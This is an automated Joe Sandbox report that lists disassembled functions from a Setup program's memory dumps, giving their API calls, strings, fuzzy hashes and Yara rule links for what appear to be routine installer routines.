Function 6C8FF821 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

Part of subcall function 6C8F76A7: __EH_prolog3.LIBCMT ref: 6C8F76AE
Part of subcall function 6C8F76A7: GetModuleHandleW.KERNEL32(kernel32.dll,00000020,6C8FF845,?), ref: 6C8F7748
Part of subcall function 6C8F76A7: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 6C8F7758
Part of subcall function 6C8F76A7: SetThreadStackGuarantee.KERNEL32(00020000), ref: 6C8F776D
Part of subcall function 6C8F76A7: SetUnhandledExceptionFilter.KERNEL32(6C90416A), ref: 6C8F7774
Part of subcall function 6C8F76A7: GetCommandLineW.KERNEL32 ref: 6C8F777A

_memset.LIBCMT ref: 6C8FF85B
GetEnvironmentVariableW.KERNEL32(DebugIronMan,?,000000FF,?,?,?), ref: 6C8FF874
DebugBreak.KERNEL32(?,?,?), ref: 6C8FF8B8

Strings

DebugIronMan, xrefs: 6C8FF86F

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: AddressBreakCommandDebugEnvironmentExceptionFilterGuaranteeH_prolog3HandleLineModuleProcStackThreadUnhandledVariable_memset
String ID: DebugIronMan
API String ID: 12115070-628588297
Opcode ID: 284e52822a8ddb406e0fb8edeff3c3a97228731d5a314e4cbd7d1e9b7a3f9351
Instruction ID: 8ae5b75183a639556ca535465ad41cdae1f353a2511652864626f0d6cfe7efa5
Opcode Fuzzy Hash: 284e52822a8ddb406e0fb8edeff3c3a97228731d5a314e4cbd7d1e9b7a3f9351
Instruction Fuzzy Hash: 9811087161021EAAE720EF748A09ADBB3F4EF14758F404964D525D7B41F730DA46C740

Function 6C5D2815 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(?,/3]l,00000000,00000000,00000000,00000000,00000000,?,?,6C5D36C7,?,00000001), ref: 6C5D2835
GetLastError.KERNEL32(?,?,6C5D36C7,?,00000001,?,?,?,?,6C5D332F,?), ref: 6C5D283B

Part of subcall function 6C5D1967: malloc.MSVCRT(?,6C5F0554), ref: 6C5D1979

GetTokenInformation.KERNELBASE(?,?,00000000,?,?,?,?,6C5D36C7,?,00000001,?,?,?,?,6C5D332F,?), ref: 6C5D2863

Strings

/3]l, xrefs: 6C5D282F

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: InformationToken$ErrorLastmalloc
String ID: /3]l
API String ID: 3066823155-3022599639
Opcode ID: 3f30c1d183c8c34c7afc358f55d2860901d5b358a527f229fea13f076ce6c0d4
Instruction ID: a1ccc9fdee657480bc4d46c00b7d7f3c3b8e01598af8d4ce696c2ac89089dd35
Opcode Fuzzy Hash: 3f30c1d183c8c34c7afc358f55d2860901d5b358a527f229fea13f076ce6c0d4
Instruction Fuzzy Hash: D801AD32601309FAEF009AA98C44F9E7B68EB053A9F214021F900B2450D731FE44A768

Function 63960E5C Relevance: 6.1, APIs: 4, Instructions: 100windowCOMMON

Download Yara Rule

APIs

MapDialogRect.USER32(?,00000000), ref: 63960EC4

Part of subcall function 639691B7: _malloc.LIBCMT ref: 639691D1

SendMessageW.USER32(?,00000031,00000000,00000000), ref: 63960F1D
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 63960F27
ShowWindow.USER32(?,00000001,?,00000000,?,00000000), ref: 63960F2E

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: MessageSend$DialogRectShowWindow_malloc
String ID:
API String ID: 929715566-0
Opcode ID: f5024eadc1f6f761cdba2dbc2135efcb1b0d4016129ab17a16a61073108b770c
Instruction ID: 0d7de4c62c8a87d3d48e72a2395a43ae96137363862fb53015b1183e517ea210
Opcode Fuzzy Hash: f5024eadc1f6f761cdba2dbc2135efcb1b0d4016129ab17a16a61073108b770c
Instruction Fuzzy Hash: A7316935A00219AFDB159F68C889AAEBFF5FF89750F104019F605EB3A0DB759901CF91

Function 6C5D3D03 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 85COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6C5D3D28

Part of subcall function 6C5D182C: RegOpenKeyExW.KERNEL32(?,?,00000000,-00020018,6C5D2E5E,?,?,00000000,?,?,?,6C5D2E5E,80000002,Software\Microsoft\SQMClient,MachineId,?), ref: 6C5D1897
Part of subcall function 6C5D182C: RegQueryValueExW.KERNEL32(6C5D2E5E,?,00000000,00000027,80000002,?,?,00000000,?,?,?,6C5D2E5E,80000002,Software\Microsoft\SQMClient,MachineId,?), ref: 6C5D18B3
Part of subcall function 6C5D182C: RegCloseKey.KERNEL32(6C5D2E5E,?,00000000,?,?,?,6C5D2E5E,80000002,Software\Microsoft\SQMClient,MachineId,?,00000027), ref: 6C5D18D1

SetLastError.KERNEL32(00000000,80000001,Software\Microsoft\SQMClient,UserId,?,00000027), ref: 6C5D3D74

Strings

Software\Microsoft\SQMClient, xrefs: 6C5D3D43
UserId, xrefs: 6C5D3D3E

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: CloseErrorLastOpenQueryValuememset
String ID: Software\Microsoft\SQMClient$UserId
API String ID: 895213837-3032788761
Opcode ID: 63ad1620175bec44a50607252ace21114a49d6491865a1716d617bd414b08ca0
Instruction ID: 397ea1476cb378f4787c2d273b0af6f61c4f488a6dbd51e7ad75071268d31115
Opcode Fuzzy Hash: 63ad1620175bec44a50607252ace21114a49d6491865a1716d617bd414b08ca0
Instruction Fuzzy Hash: 1D210575201344AADB00EF98DC84E9F7BB9AB85388F560425E5129B951C3B1ED488B8C

Function 6C5D2E0F Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 85COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6C5D2E34

Part of subcall function 6C5D182C: RegOpenKeyExW.KERNEL32(?,?,00000000,-00020018,6C5D2E5E,?,?,00000000,?,?,?,6C5D2E5E,80000002,Software\Microsoft\SQMClient,MachineId,?), ref: 6C5D1897
Part of subcall function 6C5D182C: RegQueryValueExW.KERNEL32(6C5D2E5E,?,00000000,00000027,80000002,?,?,00000000,?,?,?,6C5D2E5E,80000002,Software\Microsoft\SQMClient,MachineId,?), ref: 6C5D18B3
Part of subcall function 6C5D182C: RegCloseKey.KERNEL32(6C5D2E5E,?,00000000,?,?,?,6C5D2E5E,80000002,Software\Microsoft\SQMClient,MachineId,?,00000027), ref: 6C5D18D1

SetLastError.KERNEL32(00000000,80000002,Software\Microsoft\SQMClient,MachineId,?,00000027), ref: 6C5D2E80

Strings

Software\Microsoft\SQMClient, xrefs: 6C5D2E4F
MachineId, xrefs: 6C5D2E4A

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: CloseErrorLastOpenQueryValuememset
String ID: MachineId$Software\Microsoft\SQMClient
API String ID: 895213837-1718750536
Opcode ID: f3de60e408485a4b1d377901b59e24fe0e95dcdd8f8145a77e68e713e1cc8ec8
Instruction ID: 2a1824bd7d7ad0392df684a13ae2fe4ace265eeca136a805e20c3e6e8dbb967b
Opcode Fuzzy Hash: f3de60e408485a4b1d377901b59e24fe0e95dcdd8f8145a77e68e713e1cc8ec8
Instruction Fuzzy Hash: C4210831200344ABD700DE9C9CC4FAFB7A9EB85348F570429E515DB951C7B1ED888B99

Function 6396D763 Relevance: 6.1, APIs: 4, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 6396D771

Part of subcall function 63968FCB: __FF_MSGBANNER.LIBCMT ref: 63968FE4
Part of subcall function 63968FCB: __NMSG_WRITE.LIBCMT ref: 63968FEB
Part of subcall function 63968FCB: HeapAlloc.KERNEL32(00000000,00000001,00000000,?,?,?,639691D6,?), ref: 63969010

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: AllocHeap_malloc
String ID:
API String ID: 3293231637-0
Opcode ID: f95259730f2e1bece1798d84181a20776c0a7f8a0892d4db980c4806e8365ea6
Instruction ID: 9b87bf95017493f569bd87c2fe5d95138b41cd19cb3ac4f1140366bf6e6ac307
Opcode Fuzzy Hash: f95259730f2e1bece1798d84181a20776c0a7f8a0892d4db980c4806e8365ea6
Instruction Fuzzy Hash: AB11987294F315AEFB112B7D981468A3BA8DF57BE4B340525F8689A350EB30C9408ED1

Function 6C5D3679 Relevance: 6.1, APIs: 4, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,6C5D332F,?), ref: 6C5D3683
OpenProcessToken.ADVAPI32(00000000,00000008,?,?,?,?,?,6C5D332F,?), ref: 6C5D36B3

Part of subcall function 6C5D2815: GetTokenInformation.KERNELBASE(?,/3]l,00000000,00000000,00000000,00000000,00000000,?,?,6C5D36C7,?,00000001), ref: 6C5D2835
Part of subcall function 6C5D2815: GetLastError.KERNEL32(?,?,6C5D36C7,?,00000001,?,?,?,?,6C5D332F,?), ref: 6C5D283B
Part of subcall function 6C5D2815: GetTokenInformation.KERNELBASE(?,?,00000000,?,?,?,?,6C5D36C7,?,00000001,?,?,?,?,6C5D332F,?), ref: 6C5D2863

ConvertSidToStringSidW.ADVAPI32(00000000,?), ref: 6C5D36D5
CloseHandle.KERNEL32(?,?,00000001,?,?,?,?,6C5D332F,?), ref: 6C5D36E0

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID:
API String ID: 995526605-0
Opcode ID: 4111eaacdedf11bdbe9144741265b75b8b70bb3c1e0266a862673884ce9bcdeb
Instruction ID: e164820ef77e6b872f8746b6155904ba27f1a1c5b0571112042608e3f9d20c9b
Opcode Fuzzy Hash: 4111eaacdedf11bdbe9144741265b75b8b70bb3c1e0266a862673884ce9bcdeb
Instruction Fuzzy Hash: 97119D31602354EBDB009F69CC85E9E7BB8EB453E8F224068F410AB650CB71ED50DB58

Function 6C91C0AA Relevance: 6.0, APIs: 4, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 6C91C0C4

Part of subcall function 6C91BFB3: __FF_MSGBANNER.LIBCMT ref: 6C91BFCC
Part of subcall function 6C91BFB3: __NMSG_WRITE.LIBCMT ref: 6C91BFD3
Part of subcall function 6C91BFB3: RtlAllocateHeap.NTDLL(00000000,00000001,?,6C8F831D,00000000,?,6C91C0C9,6C8FF845,00000C00,00000020,6C8FF845,?), ref: 6C91BFF8

std::exception::exception.LIBCMT ref: 6C91C0F9
std::exception::exception.LIBCMT ref: 6C91C113
__CxxThrowException@8.LIBCMT ref: 6C91C124

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: std::exception::exception$AllocateException@8HeapThrow_malloc
String ID:
API String ID: 615853336-0
Opcode ID: 8acfc5912aaf4ff7e28ae540b85b33fb7ce4f42836e51216a94eb7f220260658
Instruction ID: 601d17cf2ae8c5476cae4c9ca91f65709d99fe911cede1724dbfa69d90424f7e
Opcode Fuzzy Hash: 8acfc5912aaf4ff7e28ae540b85b33fb7ce4f42836e51216a94eb7f220260658
Instruction Fuzzy Hash: 84F0287151824DABCF00EF98C942BDD3AB9AB6231CF640055E824D6ED0CB71CF198751

Function 6C8C54FB Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C8C5562

Part of subcall function 6C8C4FAC: _memset.LIBCMT ref: 6C8C4FB4

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

Strings

Unknown OS, xrefs: 6C8C5580
%s - %s %s %s, xrefs: 6C8C561F

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3InfoSystem_memset
String ID: %s - %s %s %s$Unknown OS
API String ID: 3853411852-1218788732
Opcode ID: dba88714ad2ac0958596af956b4458a067e86bc4897750bd3b3c2ac5c52e070a
Instruction ID: f91810507fefed2d705fb0cf9e4cdd9c7262b11acd32d5f986a70e2d95193caa
Opcode Fuzzy Hash: dba88714ad2ac0958596af956b4458a067e86bc4897750bd3b3c2ac5c52e070a
Instruction Fuzzy Hash: 954160722083459FDB20CF68C841ACBBBE5AF99718F140E1EF49497791DB30E6498B97

Function 6C8D4397 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 108COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8D439E

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

Part of subcall function 6C8CA5D0: __EH_prolog3.LIBCMT ref: 6C8CA5D7

Part of subcall function 6C8CA5D0: SysFreeString.OLEAUT32(?), ref: 6C8CA62B

Part of subcall function 6C8F8863: _wcschr.LIBCMT ref: 6C8F887A

Part of subcall function 6C8D44EA: __EH_prolog3.LIBCMT ref: 6C8D44F1
Part of subcall function 6C8D44EA: __CxxThrowException@8.LIBCMT ref: 6C8D45E9

Part of subcall function 6C8D4613: RegCloseKey.ADVAPI32(?,00000034,00000034,00000034,00000034,00000000,00000000,?,00000034,RegKey,?,RegValueName,00000034,6C8D42F8,6C8BA794,02F92298), ref: 6C8D468D
Part of subcall function 6C8D4613: RegCloseKey.ADVAPI32(?,00000034,00000034,00000000,00000000,?,00000034,RegKey,?,RegValueName,00000034,6C8D42F8,6C8BA794,02F92298), ref: 6C8D469E

Strings

RegKey, xrefs: 6C8D43B5
RegValueName, xrefs: 6C8D43A7

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3$Close$Exception@8FreeStringThrow_wcschr
String ID: RegKey$RegValueName
API String ID: 3842226755-3571311812
Opcode ID: 219422e14320ed0cdd6ed8bc7c4d9e50b5497c06c72c0e8b153dbf2826f61373
Instruction ID: fab00c884525f13edf696e09f8765c21b020165744ede492adeeb9fb6adb0e6a
Opcode Fuzzy Hash: 219422e14320ed0cdd6ed8bc7c4d9e50b5497c06c72c0e8b153dbf2826f61373
Instruction Fuzzy Hash: F3419F31A0124D9FCB20DFE8CA44ADEB7B5AF54318F140665E024E7780CB74EE09DBA2

Function 6C8D4265 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8D426C

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

Part of subcall function 6C8CA63E: __EH_prolog3.LIBCMT ref: 6C8CA645
Part of subcall function 6C8CA63E: SysFreeString.OLEAUT32(?), ref: 6C8CA69B

Part of subcall function 6C8D4397: __EH_prolog3.LIBCMT ref: 6C8D439E

GetUserDefaultUILanguage.KERNEL32(6C8BA794,02F92298), ref: 6C8D4302

Strings

LCIDHint, xrefs: 6C8D4273

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3$DefaultFreeLanguageStringUser
String ID: LCIDHint
API String ID: 188276182-1583853939
Opcode ID: 7eb9da7354138fc4b164d0bcb499aee1302ea9ce408cf6f5037516d5d5321466
Instruction ID: cefc278e6af3706b4ec084436d0cc26a18adc6235416fbcfc5884d2719a6163c
Opcode Fuzzy Hash: 7eb9da7354138fc4b164d0bcb499aee1302ea9ce408cf6f5037516d5d5321466
Instruction Fuzzy Hash: 73416271A00209DFDB24CFA8CA84EDE77B5BF84318F254969E465AB790CB31ED05CB61

Function 6395E1AD Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 104threadCOMMON

Download Yara Rule

APIs

SetThreadLocale.KERNEL32(00000000), ref: 6395E1FD

Strings

UiInfo.xml, xrefs: 6395E23D

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: LocaleThread
String ID: UiInfo.xml
API String ID: 635194068-3938134364
Opcode ID: b48fc81c5273e4e294b1f3e8dccb1c0b7cd7e8039dba30d6889422ceddea99e6
Instruction ID: 68e7315e9ce397deab9a39d421881449ee4677bcd550a7945ec09ffb3acd731f
Opcode Fuzzy Hash: b48fc81c5273e4e294b1f3e8dccb1c0b7cd7e8039dba30d6889422ceddea99e6
Instruction Fuzzy Hash: 86417971A087409FD710DF68C448B5ABBE4EB8A728F004A1DF8A687390D735E944CF91

Function 6C8E6E46 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 86COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8E6E4D

Part of subcall function 6C8E50B2: __EH_prolog3.LIBCMT ref: 6C8E50B9
Part of subcall function 6C8E50B2: GetLastError.KERNEL32(00000000,LoadLibrary,00000000,0000000C,6C8E6E7F,00000000,?), ref: 6C8E5110
Part of subcall function 6C8E50B2: __CxxThrowException@8.LIBCMT ref: 6C8E512D

GetCommandLineW.KERNEL32(00000000,?), ref: 6C8E6E8F

Part of subcall function 6C8C3E77: __EH_prolog3.LIBCMT ref: 6C8C3E7E

Part of subcall function 6C8C3A16: __EH_prolog3.LIBCMT ref: 6C8C3A1D

Part of subcall function 6C8E516F: FreeLibrary.KERNEL32(00000000,?,6C8E50F8,00000000,0000000C,6C8E6E7F,00000000,?), ref: 6C8E517C
Part of subcall function 6C8E516F: LoadLibraryW.KERNEL32(?,?,?,6C8E50F8,00000000,0000000C,6C8E6E7F,00000000,?), ref: 6C8E5194

Part of subcall function 6C91C0AA: _malloc.LIBCMT ref: 6C91C0C4

Part of subcall function 6C90ABA1: __EH_prolog3.LIBCMT ref: 6C90ABA8
Part of subcall function 6C90ABA1: GetProcAddress.KERNEL32(00000004,CreateClassFactory), ref: 6C90ABB8
Part of subcall function 6C90ABA1: GetLastError.KERNEL32 ref: 6C90ABC6
Part of subcall function 6C90ABA1: __CxxThrowException@8.LIBCMT ref: 6C90AC7D

Strings

passive, xrefs: 6C8E6EA1

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3$ErrorException@8LastLibraryThrow$AddressCommandFreeLineLoadProc_malloc
String ID: passive
API String ID: 304155978-1995439567
Opcode ID: 5fe9b76c54f95009eddd1a9105631c8528b61025b7e958d782154aad814d0c03
Instruction ID: cb4ecbc448005b2f40559b2e9137a6c8e1a7b928bf395864284745e9152dafea
Opcode Fuzzy Hash: 5fe9b76c54f95009eddd1a9105631c8528b61025b7e958d782154aad814d0c03
Instruction Fuzzy Hash: 1531CF7191534A9BDB20DFA8CA007DEBBB0AF29318F104D69D951A7F80CB70DA098B91

Function 6C8D57E5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8D57EC

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

_memcpy_s.LIBCMT ref: 6C8D5887

Strings

#(loc., xrefs: 6C8D5803, 6C8D58AB

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3$_memcpy_s
String ID: #(loc.
API String ID: 1663610674-1630946291
Opcode ID: 3a6eb39598482636c6af2c0ecd43eaff469841d480f0c2ca265542a0bf8875dc
Instruction ID: bdc067426ef4d84ecd761a47f3a3e3b832b0b347ad2a210ed5d931d801b2ad6f
Opcode Fuzzy Hash: 3a6eb39598482636c6af2c0ecd43eaff469841d480f0c2ca265542a0bf8875dc
Instruction Fuzzy Hash: 5B31A2319042189FCF10DFA8C944ADE77A5EF10368F158A56E9249FF90C730EE49CB90

Function 6C8FEA74 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8FEA7B
GetComputerObjectNameW.SECUR32(00000007,00000000,6C8FFA6E), ref: 6C8FEAC0

Strings

microsoft.com, xrefs: 6C8FEB10

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: ComputerH_prolog3NameObject
String ID: microsoft.com
API String ID: 4212761916-499418652
Opcode ID: 401195210c8d137675fcb7590bf0346c3a40d61c194cba3181c813bdfc5f7230
Instruction ID: 7ccc36afa7ab22a816bed642cf9859085b7ad90d0b1cc8c5f20b7ca282d980a0
Opcode Fuzzy Hash: 401195210c8d137675fcb7590bf0346c3a40d61c194cba3181c813bdfc5f7230
